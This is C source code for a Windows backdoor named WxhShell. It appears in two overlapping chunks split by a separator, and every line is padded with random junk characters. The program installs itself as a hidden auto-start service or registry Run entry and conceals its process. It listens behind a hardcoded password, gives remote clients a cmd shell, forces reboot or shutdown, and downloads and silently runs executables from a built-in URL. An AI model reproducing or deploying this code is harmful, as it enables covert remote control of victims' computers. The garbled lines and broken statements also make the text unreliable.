    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oWC@w  
    if(Boot(SHUTDOWN)) D(H>R&b!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &qr;IL7'  
    else { TG+VEL |T  
    closesocket(wsh); Nd cg/d  
    ExitThread(0); :X]itTrGs  
    } kMt 8/E`  
    break; < VSA  
    } jhg;%+KB  
  // 获取shell ?)1{)Erf8x  
  case 's': { GP:77)b5  
    CmdShell(wsh); R5 9S@MsuD  
    closesocket(wsh); 30.@g[~  
    ExitThread(0); By9*1H2R  
    break; -QmO1U  
  } Q&eQQ6b^Ih  
  // 退出 FWHNj.r  
  case 'x': { A3S<.. g2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~;&m*2 |V  
    CloseIt(wsh); @Q/-s9b  
    break; 82QGS$0V  
    } fIwV\,s  
  // 离开 jr!?v<NoX  
  case 'q': { Lg*B>=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CS=qj-(  
    closesocket(wsh); }=8B*  
    WSACleanup(); +[tE^`-F  
    exit(1); bdibaN-h  
    break; CCWg{*og  
        } *?Kr*]dnLl  
  } ##V5-ZG{:  
  } uec!RKE  
j"|=C$Kn/  
  // 提示信息 9J>&29@us0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D6G oa(!9d  
} B&.FO O  
  } /Ya_>+oo  
B{C??g8/  
  return; eL\;Nf+Zp  
} >ey\jDr#O  
43Qtj$F  
// shell模块句柄 .72S oT  
int CmdShell(SOCKET sock) ^*S)t. "  
{ C~N/A73gF  
STARTUPINFO si; Yl#Rib  
ZeroMemory(&si,sizeof(si)); bV$)!]V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D[mSmpjE6&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LjUy*mxw  
PROCESS_INFORMATION ProcessInfo; xg NJeQ  
char cmdline[]="cmd"; x-AZ %)N9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7"w2$*4'0  
  return 0; +tk{"s^r*  
} HaYE9/xS  
bX*Hi#J~A  
// 自身启动模式 l*kPOyB  
int StartFromService(void) sM?MLB\Za  
{ Okm{Xx  
typedef struct L\&<sy"H  
{ ,^x4sA[/  
  DWORD ExitStatus; H*Kj3NgY  
  DWORD PebBaseAddress; -t2+|J*  
  DWORD AffinityMask; Ircp``g  
  DWORD BasePriority; qZh1`\G  
  ULONG UniqueProcessId; (A?H1 9  
  ULONG InheritedFromUniqueProcessId; hlJq-*6'  
}   PROCESS_BASIC_INFORMATION; E7CH^]x  
+H9>A0JF  
PROCNTQSIP NtQueryInformationProcess; `S2[5i  
<YOLxR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $`wMX{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5o6>T!  
/}PF\j9#4  
  HANDLE             hProcess; F6K4#t+9  
  PROCESS_BASIC_INFORMATION pbi; wmTq` XH)  
"v`   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #ssN027  
  if(NULL == hInst ) return 0; VH(S=G5Yb  
LNa$ X5`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .9"Y_/0   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CWNx4)ZGw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :^fcC[$K  
RgGyoZ  
  if (!NtQueryInformationProcess) return 0; 66'?&Xx'  
g=]u^&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kf;/c}}  
  if(!hProcess) return 0; F P>)&3>_  
S=nP[s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }Y*VAnY6;  
5i-Rglo  
  CloseHandle(hProcess); L9@&2?k  
Qed.4R:o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gt ";2,;X  
if(hProcess==NULL) return 0; $ KRI'4  
l%`F&8K  
HMODULE hMod; 2Y>~k{AN%  
char procName[255]; $YXMI",tt<  
unsigned long cbNeeded; 7 As|Ns`  
v9D22,K-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x&`~R>5/  
0k'e:AjP  
  CloseHandle(hProcess); Ezi-VGjr]  
ynB_"mg  
if(strstr(procName,"services")) return 1; // 以服务启动 z)xSN;x  
=e}H'5?!  
  return 0; // 注册表启动 Hsihytdj  
} !j\" w p  
:gB[O>'<m  
// 主模块 C:uz6i1  
int StartWxhshell(LPSTR lpCmdLine) J8"[6vId~  
{ tBm_YP[  
  SOCKET wsl; v NeCpf  
BOOL val=TRUE; .!6>oL/iF  
  int port=0; tU^kQR!  
  struct sockaddr_in door; +4,2<\fX  
5hbJOo0BZ  
  if(wscfg.ws_autoins) Install(); 8NU`^L:1  
$rhgzpZ!X_  
port=atoi(lpCmdLine); e{A9r@p!  
+MB!B9M@  
if(port<=0) port=wscfg.ws_port; [F*4EGB  
[ G e=kFB  
  WSADATA data; -PnyZ2'Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wfz\ `y  
gxT4PQDy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $&=p+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yR~R:  
  door.sin_family = AF_INET; N~?{UOZd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LFZ iPu  
  door.sin_port = htons(port); GCttXAto  
=L5GhA~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `g_"GE  
closesocket(wsl); p)=~% 7DV  
return 1; YqV8D&I  
} 4:sjH.u<  
~+H" -+  
  if(listen(wsl,2) == INVALID_SOCKET) { -wv6s#"u  
closesocket(wsl); .p ls!  
return 1; VN 'Wq7>6  
} Y9=(zOqv  
  Wxhshell(wsl); S#b-awk  
  WSACleanup(); +@Ad1fJi  
?+t1ME|  
return 0; 9~0^PzTA  
';G1A  
} j6,ZEm  
YxGcFjJ  
// 以NT服务方式启动 om3`[r[{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D-U<u@A4  
{ "0EA;S8$8  
DWORD   status = 0; v`c$!L5  
  DWORD   specificError = 0xfffffff; E_1="&p  
jDRe)bo4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +"ueq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '>k{tPi.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; erl:9.  
  serviceStatus.dwWin32ExitCode     = 0; *<'M!iRC  
  serviceStatus.dwServiceSpecificExitCode = 0; P(SZ68  
  serviceStatus.dwCheckPoint       = 0; F=)&98^v$_  
  serviceStatus.dwWaitHint       = 0; Pz_NDI  
tQ~WEC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \]Dt4o*yZ  
  if (hServiceStatusHandle==0) return; I<=Df5M  
&48_2Q"{  
status = GetLastError(); 7dX/bzUVz8  
  if (status!=NO_ERROR) rxO2js  
{ o+?r I p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f&hwi:t  
    serviceStatus.dwCheckPoint       = 0; C*I(|.i@  
    serviceStatus.dwWaitHint       = 0; #Y93y\  
    serviceStatus.dwWin32ExitCode     = status; dp5f7>]:(  
    serviceStatus.dwServiceSpecificExitCode = specificError; %@R~DBS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XMRNuEU  
    return; Z?^"\u-  
  } @ 2_<,;$  
aj ~bt-cE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3_`szl-  
  serviceStatus.dwCheckPoint       = 0; j}+5vB|0  
  serviceStatus.dwWaitHint       = 0; [WB{T3j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 33~qgK1>  
} "Jy~PcJZ1  
n(lk dw  
// 处理NT服务事件,比如:启动、停止 Sg] J7;]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S='syq>Aok  
{ O{k:yVb  
switch(fdwControl) ]Y.deVw3i  
{ plV7+?G  
case SERVICE_CONTROL_STOP: JeY' 8B  
  serviceStatus.dwWin32ExitCode = 0; C2<CWPn<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a}d6o;li  
  serviceStatus.dwCheckPoint   = 0; fMeZ]rb  
  serviceStatus.dwWaitHint     = 0; M;Wha;%E"  
  { )~rB}>^Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i_F$&?)  
  } QfQ\a%cc  
  return; }t>q9bZ9z  
case SERVICE_CONTROL_PAUSE: y1BgK>R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |*,jU;NI  
  break; nSY-?&l6P  
case SERVICE_CONTROL_CONTINUE: ~ E=\t9r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kA7(CqUW  
  break; ]=D5p_A(  
case SERVICE_CONTROL_INTERROGATE: {6xPdUhw  
  break; 0]x;n+G[q  
}; s6=YV0w(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LQ-6vrbs  
} hN(L@0)  
Z,WW]Y,$  
// 标准应用程序主函数 {@r*+~C3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :w?7j_p#  
{ g-yi xU  
}.:d#]g8  
// 获取操作系统版本 }#=Od e  
OsIsNt=GetOsVer(); Cj&$%sO1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r(}nhUQ%E  
K@@9:T$  
  // 从命令行安装 9b6!CNe!  
  if(strpbrk(lpCmdLine,"iI")) Install(); =Mhg  
PaVO"y]C  
  // 下载执行文件 b4 hIeBI\  
if(wscfg.ws_downexe) { 9.0WKcwg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =J@`0H"  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4R+P  
} @+^c"=d1S  
xaL#MIR"u"  
if(!OsIsNt) { x.EgTvA&d  
// 如果时win9x,隐藏进程并且设置为注册表启动 h)E|?b_  
HideProc(); ]0D9N"  
StartWxhshell(lpCmdLine); u fw cF*  
} W3LP ~  
else D{AFL.r{  
  if(StartFromService()) 4YJ=q% G  
  // 以服务方式启动 jNy?[ )  
  StartServiceCtrlDispatcher(DispatchTable); ma9ADFFT  
else Q[s 2}Z!N;  
  // 普通方式启动 +$(0w35V5  
  StartWxhshell(lpCmdLine); h39e)%x1  
=w <VT%  
return 0; " >6&+^BN'  
} *?8RXer  
)&.!3y 660  
abZdGnc  
(5;D7zdA  
=========================================== /R%^rz'w  
V:\]cGA{  
8Inx/>eOI  
WOO%YU =  
5 R*lVUix  
KzkgWMM  
" g2'x#%ET  
55hyV{L%  
#include <stdio.h> GOW"o"S  
#include <string.h> p`GWhI?  
#include <windows.h> xeB4r/6  
#include <winsock2.h> Igjr~@ #  
#include <winsvc.h> Ky&KF0  
#include <urlmon.h> uu>lDvR*  
(/fT]6(  
#pragma comment (lib, "Ws2_32.lib") )C}KR`"  
#pragma comment (lib, "urlmon.lib") \Hs|$   
5OB]x?4]  
#define MAX_USER   100 // 最大客户端连接数 RqGVp?   
#define BUF_SOCK   200 // sock buffer b5Q8pWZg,  
#define KEY_BUFF   255 // 输入 buffer +Pw,Nl\KD  
hNO )~rt  
#define REBOOT     0   // 重启  N ?+eWY  
#define SHUTDOWN   1   // 关机 #` +]{4hR  
bm}+}CJ@#0  
#define DEF_PORT   5000 // 监听端口 H'h#wV`(  
8ath45G@  
#define REG_LEN     16   // 注册表键长度 NV#')+Ba  
#define SVC_LEN     80   // NT服务名长度 <9\,QR)  
01nsdZ-  
// 从dll定义API -]QguZE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MW]8;`|jC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xb+3Xn0}&8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (zmNa}-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =yh3Nd:u  
]-KV0H  
// wxhshell配置信息 K_##-6>  
struct WSCFG { U"B.:C2  
  int ws_port;         // 监听端口 Vr\Q`H.  
  char ws_passstr[REG_LEN]; // 口令 .\)k+ R  
  int ws_autoins;       // 安装标记, 1=yes 0=no qsvpW%?aE  
  char ws_regname[REG_LEN]; // 注册表键名 OT+Ee  
  char ws_svcname[REG_LEN]; // 服务名 i7f%^7!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HZuiVW8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fM{1Os  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A^cU$V%?W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B<+pg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bqjr0A7{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,|iy1yg(  
\kk!Dz*H  
}; q\U4n[Zk  
}Eb]9c\  
// default Wxhshell configuration ^vn\4  
struct WSCFG wscfg={DEF_PORT, `x4E;Wjv  
    "xuhuanlingzhe", |1i]L@&  
    1, |>@ -grs  
    "Wxhshell", mo*'"/  
    "Wxhshell", C1D ! V:  
            "WxhShell Service", {WKOJG+.  
    "Wrsky Windows CmdShell Service", I <xy?{s  
    "Please Input Your Password: ", qM*S*,s  
  1, .d e  
  "http://www.wrsky.com/wxhshell.exe", IW]*i?L  
  "Wxhshell.exe" YJc%h@_=]  
    }; Nor`c+,4  
N Z)b:~a  
// 消息定义模块 &PSTwZd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yP%o0n/"x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HNFhH0+^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Lb^(E-  
char *msg_ws_ext="\n\rExit."; ,{pGP#  
char *msg_ws_end="\n\rQuit."; g#Mv&tU  
char *msg_ws_boot="\n\rReboot..."; +.wT 9kFcc  
char *msg_ws_poff="\n\rShutdown..."; EFwL.'Fh  
char *msg_ws_down="\n\rSave to "; v#-E~;C cC  
. Jb?]n  
char *msg_ws_err="\n\rErr!"; 9,w}Xe=C  
char *msg_ws_ok="\n\rOK!"; y3IA '  
}ymc5-  
char ExeFile[MAX_PATH]; 2@4x"F]U;  
int nUser = 0; Q QT G9s  
HANDLE handles[MAX_USER]; |&Au6 3  
int OsIsNt; &q"'_4  
?LR"hZ>  
SERVICE_STATUS       serviceStatus; 5pB^Y MP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [pr 9 $Jr  
U|9U(il  
// 函数声明 .B6`OX&k  
int Install(void); )F +nSV;  
int Uninstall(void); )&XnM69~b  
int DownloadFile(char *sURL, SOCKET wsh); =zz+<!!  
int Boot(int flag); @uoT{E[  
void HideProc(void); O1|B3M[P  
int GetOsVer(void); v;Swo("  
int Wxhshell(SOCKET wsl); c1PViko,>  
void TalkWithClient(void *cs); 9^(HXH_f  
int CmdShell(SOCKET sock); m; 1'u;  
int StartFromService(void); "$]ls9-%n  
int StartWxhshell(LPSTR lpCmdLine); o*-h%Z.  
B'<!k7Ewy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^@M [t<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^=Q8]W_*  
\>4v?\8o  
// 数据结构和表定义 t3pZjdLJd  
SERVICE_TABLE_ENTRY DispatchTable[] = S^|$23}  
{ ht2 f-EKf{  
{wscfg.ws_svcname, NTServiceMain}, 7t ZW^dF  
{NULL, NULL} Fq vQk  
}; &$<(D0  
&t~zD4u B  
// 自我安装 W+8BQ- 2  
int Install(void) 1RCXc>}/  
{ 3w t:5 Im  
  char svExeFile[MAX_PATH]; UaH26fWs  
  HKEY key; &/sGh0  
  strcpy(svExeFile,ExeFile); \s.1R/TyD  
C(EYM$  
// 如果是win9x系统,修改注册表设为自启动 D/gd  
if(!OsIsNt) { m5X3{[a :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1P(%9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f<g>dQlE  
  RegCloseKey(key); /!^L69um  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Wm(/ +G_|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yB0jL:|a  
  RegCloseKey(key);  KYnW7|*  
  return 0; }l,T~Pjb  
    } n^* >a  
  } <^CYxy  
} 4}.WhE|h  
else { ]cx"  
L{cK^ ,  
// 如果是NT以上系统,安装为系统服务 ATKYjhc _  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aSn0o_4bD  
if (schSCManager!=0) A8 \U CG  
{ A6{t%k~F  
  SC_HANDLE schService = CreateService i0,%}{`  
  ( OT-n\sL$  
  schSCManager, 9 eSN+q  
  wscfg.ws_svcname, l84h%,  
  wscfg.ws_svcdisp, *Te4U5F  
  SERVICE_ALL_ACCESS,  6'RZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ) 1lJ<g#  
  SERVICE_AUTO_START, yf `.%  
  SERVICE_ERROR_NORMAL, xaGVu0q  
  svExeFile, t` }20=I+  
  NULL, pieU|?fQ  
  NULL, :)KTZ  
  NULL, -D!#W%y8  
  NULL, B6tcKh9d,  
  NULL r[.zLXgK  
  ); 8gVxiFjo  
  if (schService!=0) Bg+<*z-?e  
  { u~/M  
  CloseServiceHandle(schService); * kX3sG$8  
  CloseServiceHandle(schSCManager); *=-__|t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7&;[an^w  
  strcat(svExeFile,wscfg.ws_svcname); xm%[}Dt]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l|@/?GaH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f_i"/xC-/  
  RegCloseKey(key); iF#}t(CrH  
  return 0; ]wkSAi5z*  
    } uPv;y!Lsa@  
  } 4b3F9  
  CloseServiceHandle(schSCManager); {V]Qwz)1  
} /%J&/2Wz  
} br34Eh  
[a>JG8[ ,t  
return 1; j61BP8E  
} +E q~X=x  
@\%)'WU  
// 自我卸载 Se^/VVm  
int Uninstall(void) jm#d7@~4  
{ 5`{|[J_[  
  HKEY key; X]JpS  
 Vq .!(x  
if(!OsIsNt) {  qrkRD*a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ecY ^C3+S  
  RegDeleteValue(key,wscfg.ws_regname); h9Tf@]W   
  RegCloseKey(key); gCk y(4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5I8FD".i  
  RegDeleteValue(key,wscfg.ws_regname);  \pewbu5^  
  RegCloseKey(key); zulf%aaL  
  return 0; K\^&_#MG  
  } N#pl mPrZ  
} ? !oVf>  
} pU:C =hq4  
else { E+^} B/"  
,IT)zCpaBP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JL.yd H79  
if (schSCManager!=0) Ew?/@KAV\  
{ c5=v`hv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U>L=.\\|  
  if (schService!=0) _M"$5 T  
  { (. quX@w"m  
  if(DeleteService(schService)!=0) { O)U$Ef  
  CloseServiceHandle(schService); VHgF#6'   
  CloseServiceHandle(schSCManager); HjUw[Yz+6  
  return 0; ohc/.5Kl  
  } _A)_K;cz  
  CloseServiceHandle(schService); 9s\i(/RxW  
  } ?(,5eg  
  CloseServiceHandle(schSCManager); PFDWC3<  
} -9H!j4]T?  
} J++sTQ(!?  
+3o)L?:g  
return 1; :d% -,v  
} Ghgv RR$  
B GEJiLH  
// 从指定url下载文件 ZB^4(F')H  
int DownloadFile(char *sURL, SOCKET wsh) z W" 3K  
{ o$blPTN  
  HRESULT hr; 5cNzG4z  
char seps[]= "/"; {ck  
char *token; rt@-Pw!B  
char *file; Za:BJ:  
char myURL[MAX_PATH]; VI|DM x   
char myFILE[MAX_PATH]; #o"HD6e  
TJw.e/  
strcpy(myURL,sURL); Pu%>j'A  
  token=strtok(myURL,seps); uDE91.pUkr  
  while(token!=NULL)  Sj{rvW  
  { @'<j!CqQ o  
    file=token; 1[gjb((  
  token=strtok(NULL,seps); P{i8  
  } <k-@R!K~JC  
U70@}5!  
GetCurrentDirectory(MAX_PATH,myFILE); R8r[;u\iV  
strcat(myFILE, "\\"); 2$i 0yPv  
strcat(myFILE, file); l LD)i J1  
  send(wsh,myFILE,strlen(myFILE),0); ,Y\4xg*`  
send(wsh,"...",3,0); Zs$RKJ7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^$Eiz.  
  if(hr==S_OK) Ay"2W%([`  
return 0; B> " r-O  
else ,~N+?k_  
return 1; [;CqvD<S  
0Li'a{n2  
} G|G?h  
v/TlXxfil  
// 系统电源模块 ik:)-GV;s  
int Boot(int flag) 3~3(G[w  
{ dI0>m:RBz  
  HANDLE hToken; D 917[ <$  
  TOKEN_PRIVILEGES tkp; pXT$Y8M  
 0[!gk]p  
  if(OsIsNt) { ! ?U^+)^$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }Mb'tGW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _F|_C5A  
    tkp.PrivilegeCount = 1; p4t!T=o/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^a#&wW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q0"F> %Cn  
if(flag==REBOOT) { fddbXs0Sn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VF!kr1n!  
  return 0; ^1Zq0  
} p|9ECdU>;  
else { 'ZZ WH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vkd<l&zD  
  return 0; RAuAIiQ  
} d7K17KiC  
  } >->xhlL*  
  else { >*i8RqU  
if(flag==REBOOT) { #2vG_B<M)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !lN a`  
  return 0; ?nGf Wx^  
} (zYSSf!I  
else { K"6+X|yxE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6!Ji>h.Ak  
  return 0; _:=OHURc  
} gK#fuQ$hH  
} x< y[na  
fJ"~XTN}T  
return 1; L+ETMk0  
} gZ >orZL'  
-^xKG'uth  
// win9x进程隐藏模块 J!fc)h  
void HideProc(void) =#")G1A  
{ 19-yM`O  
&Cpxo9-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -MW(={#   
  if ( hKernel != NULL ) Y./}zCT  
  { f!8m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |&RX>UW$W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bvu<IXX=2  
    FreeLibrary(hKernel); K84cE  
  } ,bwopRcA  
AFB 7s z  
return; ?Nze P?g  
} .L{+O6*c  
b%jG?HSu  
// 获取操作系统版本 (kNTXhAr4  
int GetOsVer(void) M^Ay,jK!  
{ 2l/5i]Tq  
  OSVERSIONINFO winfo; +?txGHQq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C\ >Mt  
  GetVersionEx(&winfo); 3k[<4-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -5_xI)i  
  return 1; d8 Nh0!  
  else 1;~1U9V  
  return 0; EC!Cv;'  
} k|c0tvp  
YGpp:8pen  
// 客户端句柄模块 x7kg_`\U  
int Wxhshell(SOCKET wsl) Jq<`j<'9  
{ CJtjn  
  SOCKET wsh; `1}?{ud  
  struct sockaddr_in client; `iayh  
  DWORD myID; wOkJ:k   
l=?y=2+  
  while(nUser<MAX_USER) =2)$|KC  
{ /(pD^D  
  int nSize=sizeof(client); IoHkcP[H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }%d-U;Tt2  
  if(wsh==INVALID_SOCKET) return 1; :w_1J'D}  
(?3 \.tQ}}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ! E#.WX  
if(handles[nUser]==0) =RE_Urt:  
  closesocket(wsh); c7Qa !w  
else Mciq9{8&  
  nUser++; '{k Nbx51  
  } YeVc,B'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~ 2oP,  
: It W|  
  return 0; 2bxMIr  
} H;Qn?^  
>N1]h'q>  
// 关闭 socket ~dr1Qi#j?  
void CloseIt(SOCKET wsh) GfPz^F=ie.  
{ N4DDH^h  
closesocket(wsh); zjh9ZLu[  
nUser--; L[r0UXYLV  
ExitThread(0); 7b%Cl   
} K2 K6  
Y@S6m@.$  
// 客户端请求句柄 Vg~ kpgB  
void TalkWithClient(void *cs) }w^ T9OC  
{ Z=[a 8CU  
)j|y.[  
  SOCKET wsh=(SOCKET)cs; J9c3d~YW  
  char pwd[SVC_LEN]; D2 cIVx3:(  
  char cmd[KEY_BUFF]; q>4i0p8^  
char chr[1]; e+ w  
int i,j; 9v,8OK)  
Z?aR9OTP  
  while (nUser < MAX_USER) { w*P4_= :%Y  
yBh"qnOT  
if(wscfg.ws_passstr) { %FFm[[nxI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =\7p0cq&*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }JMkM9]  
  //ZeroMemory(pwd,KEY_BUFF); pyJOEL]1F  
      i=0; `+;oo B  
  while(i<SVC_LEN) { zP'pfBgbJW  
>$52B9ie  
  // 设置超时 !Lug5U}  
  fd_set FdRead; w} q@VVB%  
  struct timeval TimeOut; >6834e  
  FD_ZERO(&FdRead); Y]Vc}-a(h  
  FD_SET(wsh,&FdRead); }lpm Hvs  
  TimeOut.tv_sec=8; Wc>)/y5$  
  TimeOut.tv_usec=0; ,[1`'nN@g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); koY8=lh/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q0Lt[*q3R  
VCRv(Ek  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tsVhPo]e0  
  pwd=chr[0]; cB=u;$k@*  
  if(chr[0]==0xd || chr[0]==0xa) { 3CPOZZ  
  pwd=0; Ic!83-  
  break; [E1|jcmQ  
  } ^Es)?>eah  
  i++; <OfzE5  
    } c7!`d.{90  
Cbvl( (  
  // 如果是非法用户,关闭 socket A0u:Fm{E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w=o m7%J@l  
} -\C6j  
Qnx92   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o xu9v/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K05Y;URbd  
Qs X59d  
while(1) { ;*H~Yb0  
)'|W[Sh?  
  ZeroMemory(cmd,KEY_BUFF); nqJV1h  
bXLa~r4\  
      // 自动支持客户端 telnet标准   |o) _=Fx  
  j=0; tKGsrgoV  
  while(j<KEY_BUFF) { ^WPV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +%9Y7qol  
  cmd[j]=chr[0]; J c^ozw  
  if(chr[0]==0xa || chr[0]==0xd) { f_XCO=8'v  
  cmd[j]=0; =:8=5tj  
  break; OVf|4J/Yx  
  } 0j MI)aY.  
  j++; _'p;V[(+M  
    } !$# 4D&T  
'u/HQg*  
  // 下载文件 6WM_V9Tidq  
  if(strstr(cmd,"http://")) { 1A.\Ao  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B4O a7$M/U  
  if(DownloadFile(cmd,wsh)) o?+e_n=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &\[J  
  else EQO7:vb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *3($s_r>  
  } RUh{^3;~  
  else { 1V?)zp  
